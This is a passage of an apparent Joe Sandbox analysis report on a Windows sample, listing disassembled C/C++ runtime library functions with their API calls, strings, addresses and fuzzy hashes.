csm, xrefs: 00007FF646E5DDD5

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 0daa2566d35f1be2a9c28eb925f1bb7541095db64908311033f8d271ab9c7a6d
Instruction ID: 53f6d48643733b40051f2e2d0038929a4501629925dfad8b131747d05ad521eb
Opcode Fuzzy Hash: 0daa2566d35f1be2a9c28eb925f1bb7541095db64908311033f8d271ab9c7a6d
Instruction Fuzzy Hash: 9FE1B47290C7828AE720FFA5D4802BDBBE0FB44B48F150136DA5D87696DF39E585CB41

Function 00007FF646E67260 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF646E6726F
SetLastError.KERNEL32 ref: 00007FF646E6728E
FlsSetValue.KERNEL32 ref: 00007FF646E672B7
FlsSetValue.KERNEL32 ref: 00007FF646E672C8
FlsSetValue.KERNEL32 ref: 00007FF646E672D9

Part of subcall function 00007FF646E68670: HeapFree.KERNEL32(?,?,00007FF646E65F93,00007FF646E6F34A,?,?,?,00007FF646E6F6C7,?,?,00000000,00007FF646E6FC41,?,?,?,00007FF646E6FB73), ref: 00007FF646E68686
Part of subcall function 00007FF646E68670: GetLastError.KERNEL32(?,?,00007FF646E65F93,00007FF646E6F34A,?,?,?,00007FF646E6F6C7,?,?,00000000,00007FF646E6FC41,?,?,?,00007FF646E6FB73), ref: 00007FF646E68690

SetLastError.KERNEL32 ref: 00007FF646E672FC

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: ErrorLast$Value$FreeHeap
String ID:
API String ID: 365477584-0
Opcode ID: fe2524d419249443a627d0978d975f38a3c012d14499332c4c9054e06e9d0a3a
Instruction ID: 6c927ad051c3709939d19376721e388a2f22d7398c7e9706e5e2140c977a062f
Opcode Fuzzy Hash: fe2524d419249443a627d0978d975f38a3c012d14499332c4c9054e06e9d0a3a
Instruction Fuzzy Hash: AE115E20F1C65382FB547B31A81117EA6D2BF89790F946634EA1EC72D6DF2EEC428354

Function 00007FF646E41DD0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF646E41E3B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF646E41E83
_Getctype.LIBCPMT ref: 00007FF646E41E9B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF646E41F2B

Strings

bad locale name, xrefs: 00007FF646E41F4E

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: std::_$Lockit$GetctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2967684691-1405518554
Opcode ID: 3c7442846abff8c8df307d68f8679435e50f571c47f0fd70ca014f12eac927a6
Instruction ID: 4532dbb4eec0ea492c864db2a335e8aefa529421083dd451525c11365b3a1ac2
Opcode Fuzzy Hash: 3c7442846abff8c8df307d68f8679435e50f571c47f0fd70ca014f12eac927a6
Instruction Fuzzy Hash: E1413726B0EB4189EB11FBB4D4902FDA3E4BF44788F044435DE4DA6A96DF3AE516D340

Function 00007FF646E642D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF646E642F5
GetProcAddress.KERNEL32 ref: 00007FF646E6430B
FreeLibrary.KERNEL32 ref: 00007FF646E64327

Strings

CorExitProcess, xrefs: 00007FF646E64304
mscoree.dll, xrefs: 00007FF646E642EC

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 737ea793ec26d43c82dfac2ff29e7e99fb75e554c7b517a948dd59aa9a8f7307
Instruction ID: 08ddea745b7c6e8040d730b9fc2f6373714f80c5933428c2bd5b0d1fc12e3d5c
Opcode Fuzzy Hash: 737ea793ec26d43c82dfac2ff29e7e99fb75e554c7b517a948dd59aa9a8f7307
Instruction Fuzzy Hash: CEF06D21B0C702C1FB24BB24E84937AA3A0BF8576AF945735C66EC61E9DF2ED049C600

Function 00007FF646E5D0F0 Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FF646E5D213
__AdjustPointer.LIBCMT ref: 00007FF646E5D25E

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 3175b5cd3c99ae02cc210337352930788fcf5b6860efe828d43d11b76a3d9a07
Instruction ID: c7a355c5436ca30d1b623e1a944c3d5c63d0f2d5808154cc3a0df6fce01a6f94
Opcode Fuzzy Hash: 3175b5cd3c99ae02cc210337352930788fcf5b6860efe828d43d11b76a3d9a07
Instruction Fuzzy Hash: 94B1AE62A0EB4681FA65BF919584279E7D0FF44B84F098437DE4D87799DE3EE482C308

Function 00007FF646E53AF0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 333COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E53F7E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E53F84
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E53F91

Strings

integral cannot be stored in wchar_t, xrefs: 00007FF646E53F8A

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Xinvalid_argumentstd::_
String ID: integral cannot be stored in wchar_t
API String ID: 4097890229-1689078516
Opcode ID: 15998b583fd95bf7981427bc455597ab7499049441e43a247a1db67d2f6a571d
Instruction ID: f72d2b41db491b6728c6013ed39a59327dbdc0ed6ab591df15c68045e65c9b9f
Opcode Fuzzy Hash: 15998b583fd95bf7981427bc455597ab7499049441e43a247a1db67d2f6a571d
Instruction Fuzzy Hash: 96E1B432A1CB9185EB10ABA8D4403FCB7F1FB44798F904236DA9D97A99EF39D485C700

Function 00007FF646E53650 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 327COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E53ACE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E53AD4
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E53AE1

Strings

integral cannot be stored in wchar_t, xrefs: 00007FF646E53ADA

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Xinvalid_argumentstd::_
String ID: integral cannot be stored in wchar_t
API String ID: 4097890229-1689078516
Opcode ID: 54bb480375be3ebf0a72b67a97a54435c89e9a34a2873debed63dd63b569f6ae
Instruction ID: 08104ec7ba9abf710d050cb3787b688125a1394cdd9a94a46d376186aed80fd0
Opcode Fuzzy Hash: 54bb480375be3ebf0a72b67a97a54435c89e9a34a2873debed63dd63b569f6ae
Instruction Fuzzy Hash: 1AE1C272E1CB8189EB10ABA8D4403BDB7E0FB44758F904235EA9D97B99EF79D485C700

Function 00007FF646E541F0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 327COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E5466E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E54674
std::_Xinvalid_argument.LIBCPMT ref: 00007FF646E54681

Strings

integral cannot be stored in wchar_t, xrefs: 00007FF646E5467A

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Xinvalid_argumentstd::_
String ID: integral cannot be stored in wchar_t
API String ID: 4097890229-1689078516
Opcode ID: bd45317c97a8290d973bb3e51f545f26f5acee043a9526c901b580a979913f6b
Instruction ID: bcdeb99e9fb4ef2aeba85dcc6ac18976f5caf3b6a629774595d50d1f92ff916c
Opcode Fuzzy Hash: bd45317c97a8290d973bb3e51f545f26f5acee043a9526c901b580a979913f6b
Instruction Fuzzy Hash: 0AE1D622A1C7A1C9EB10EBA8D4443FCB7E0FB45758F504236EA9D87A99DF79D485C700

Function 00007FF646E6C14C Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF646E6C42B

Part of subcall function 00007FF646E71924: _invalid_parameter_noinfo.LIBCMT ref: 00007FF646E71941

Strings

UTF-16LEUNICODE, xrefs: 00007FF646E6C3C9
ccs, xrefs: 00007FF646E6C366
UTF-8, xrefs: 00007FF646E6C3AA

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 66b2f51a0649884e4096f9c7989d83c361a7af35ddc5b3c377426008520acf5f
Instruction ID: ade4673b68db568eba1dda5ef60044fe974bd23a443b4066f42250f63c0a23e9
Opcode Fuzzy Hash: 66b2f51a0649884e4096f9c7989d83c361a7af35ddc5b3c377426008520acf5f
Instruction Fuzzy Hash: BB819DB2E4C64289F765BF268118278B6E0BB15F88FD5A031DB0DD7685CE2FE8029601

Function 00007FF646E5E464 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF646E5E4D4
_CallSETranslator.LIBVCRUNTIME ref: 00007FF646E5E51F

Strings

MOC, xrefs: 00007FF646E5E4E8
RCC, xrefs: 00007FF646E5E4F0

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 5a37976d64d3f605dbfc814b555d63d9fccece6550d88a2dbb9a871407429eb6
Instruction ID: 297f70af227c22a9bd6c3ff46f2117e96541125597b708b2192a544b1c0a5e76
Opcode Fuzzy Hash: 5a37976d64d3f605dbfc814b555d63d9fccece6550d88a2dbb9a871407429eb6
Instruction Fuzzy Hash: 9091A073A0C7818AE750EFA5E4802ADBBE0FB44788F14412AEB8D97B55DF39D195CB00

Function 00007FF646E50EA0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 174COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E510D8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF646E510DE

Strings

false, xrefs: 00007FF646E51086
true, xrefs: 00007FF646E5107F

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: false$true
API String ID: 3668304517-2658103896
Opcode ID: 9accd12e456d6621ec8394857af616d07afa0e2d4d747a09af928d0b79962d70
Instruction ID: 918f95c7e7d008d8d5ff63f93432955a2e056e156a29b8dfbf4e93fa9a2a42c4
Opcode Fuzzy Hash: 9accd12e456d6621ec8394857af616d07afa0e2d4d747a09af928d0b79962d70
Instruction Fuzzy Hash: 9361A062B0DB8599FB00FBA9D0402ECA3F1BB447A8F504632DE5D677A9EE3AD555C300

Function 00007FF646E5CAB0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF646E5CADB
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF646E5CB72
RtlUnwindEx.KERNEL32 ref: 00007FF646E5CBCC

Strings

csm, xrefs: 00007FF646E5CB59

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 7b9ffd96eb02bcab443bbab1ea342f17490cf91d6da523a2e753e094f5bd8c31
Instruction ID: 232df735a980c805da3c94f4e10db3b624524abdd11d57e325f3ef02d4fe6359
Opcode Fuzzy Hash: 7b9ffd96eb02bcab443bbab1ea342f17490cf91d6da523a2e753e094f5bd8c31
Instruction Fuzzy Hash: 34519F72A1D6028ADB54FB56E454A78B3E1FB44F98F114538DA4E87788EF7EE841C700

Function 00007FF646E5E1F4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF646E5E253
_CallSETranslator.LIBVCRUNTIME ref: 00007FF646E5E29F

Strings

MOC, xrefs: 00007FF646E5E267
RCC, xrefs: 00007FF646E5E26F

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 232758f28d48bca0751b0218d3e2d5f792810a88b8735803dbe5591d708a7737
Instruction ID: 372b7fcfe0a8f376c1a48a3abd1f5af459552b934459c4a95d140d61b7bf5b56
Opcode Fuzzy Hash: 232758f28d48bca0751b0218d3e2d5f792810a88b8735803dbe5591d708a7737
Instruction Fuzzy Hash: 1B619E7290CB8586DB20AF55E4413AAB7E0FB85B84F044235EB9D93B99CF7DE195CB00

Function 00007FF646E5E9E4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF646E5EA0C
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF646E5EAF4

Strings

csm, xrefs: 00007FF646E5EA2E
csm, xrefs: 00007FF646E5EB46

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: a2a4ce20d499f562107bbf072005eea22e7a711c73ad7228162584aea294dff5
Instruction ID: 704eebc0529e1a78feee2a6bdaef3fbb06190aab12bc9b4a7c0f4289706753f1
Opcode Fuzzy Hash: a2a4ce20d499f562107bbf072005eea22e7a711c73ad7228162584aea294dff5
Instruction Fuzzy Hash: 6E51803290C3828AEB74BFA19144268B7E0FB55B95F144135DA9D87BDACF3EE950CB01

Function 00007FF646E4C680 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF646E4C6EB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF646E4C733
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF646E4C7C3

Strings

bad locale name, xrefs: 00007FF646E4C7E6

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: std::_$Lockit$Locinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2775327233-1405518554
Opcode ID: 10c9d6a64b0761eb994ff3f0882ec146ef825495342156a331405f159a6c9d2b
Instruction ID: cb181ebc9ab63e3227f230838c7ad159b8907880f2080f650317885b5cc38089
Opcode Fuzzy Hash: 10c9d6a64b0761eb994ff3f0882ec146ef825495342156a331405f159a6c9d2b
Instruction Fuzzy Hash: 57414822B0EA418AEB14FFB1D4902FC62E4BF44B48F044535EA4DA7A9ADE3AD525D344

Function 00007FF646E67958 Relevance: 6.3, APIs: 4, Instructions: 304fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF646E679D7
WriteFile.KERNEL32 ref: 00007FF646E67CB4
WriteFile.KERNEL32 ref: 00007FF646E67CFA
GetLastError.KERNEL32 ref: 00007FF646E67DB9

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 04c98705ab737532548b3a5d29c5fb6375a071cc17f856b1ee6e5a726e556bd2
Instruction ID: a055169d4319c4b8219dd93f0b705d4ca23249aeeed96b57ca87465b67f9e7d5
Opcode Fuzzy Hash: 04c98705ab737532548b3a5d29c5fb6375a071cc17f856b1ee6e5a726e556bd2
Instruction Fuzzy Hash: 81D10132B0CA8189EB10EFB5D4402AC77B6FB05B98B845236DF4DA7B89DE39D146C740

Function 00007FF646E6833C Relevance: 6.2, APIs: 4, Instructions: 229COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,00007FF646E68327,?), ref: 00007FF646E6845A

Memory Dump Source

Source File: 00000003.00000002.2356694972.00007FF646E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF646E40000, based on PE: true

Associated: 00000003.00000002.2356676245.00007FF646E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356726064.00007FF646E76000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356755496.00007FF646EA8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2356772426.00007FF646EAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff646e40000_Ld0f3NDosJ.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 20ec9291bd5197c22fe20bfa2a151bfb9fdaba5cef85e4c25a9d644427f9bc83
Instruction ID: 3cd9749a319e2ab73e7323c07e5d6027ac5a51e2eb8e31841b5d9651ad59497d
Opcode Fuzzy Hash: 20ec9291bd5197c22fe20bfa2a151bfb9fdaba5cef85e4c25a9d644427f9bc83
Instruction Fuzzy Hash: 1791D532A2C65285FB50FF6594542BEABE0BB44B88F842136DF0F97685DE3AE446C710

Function 00007FF646E588A8 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF646E588F1
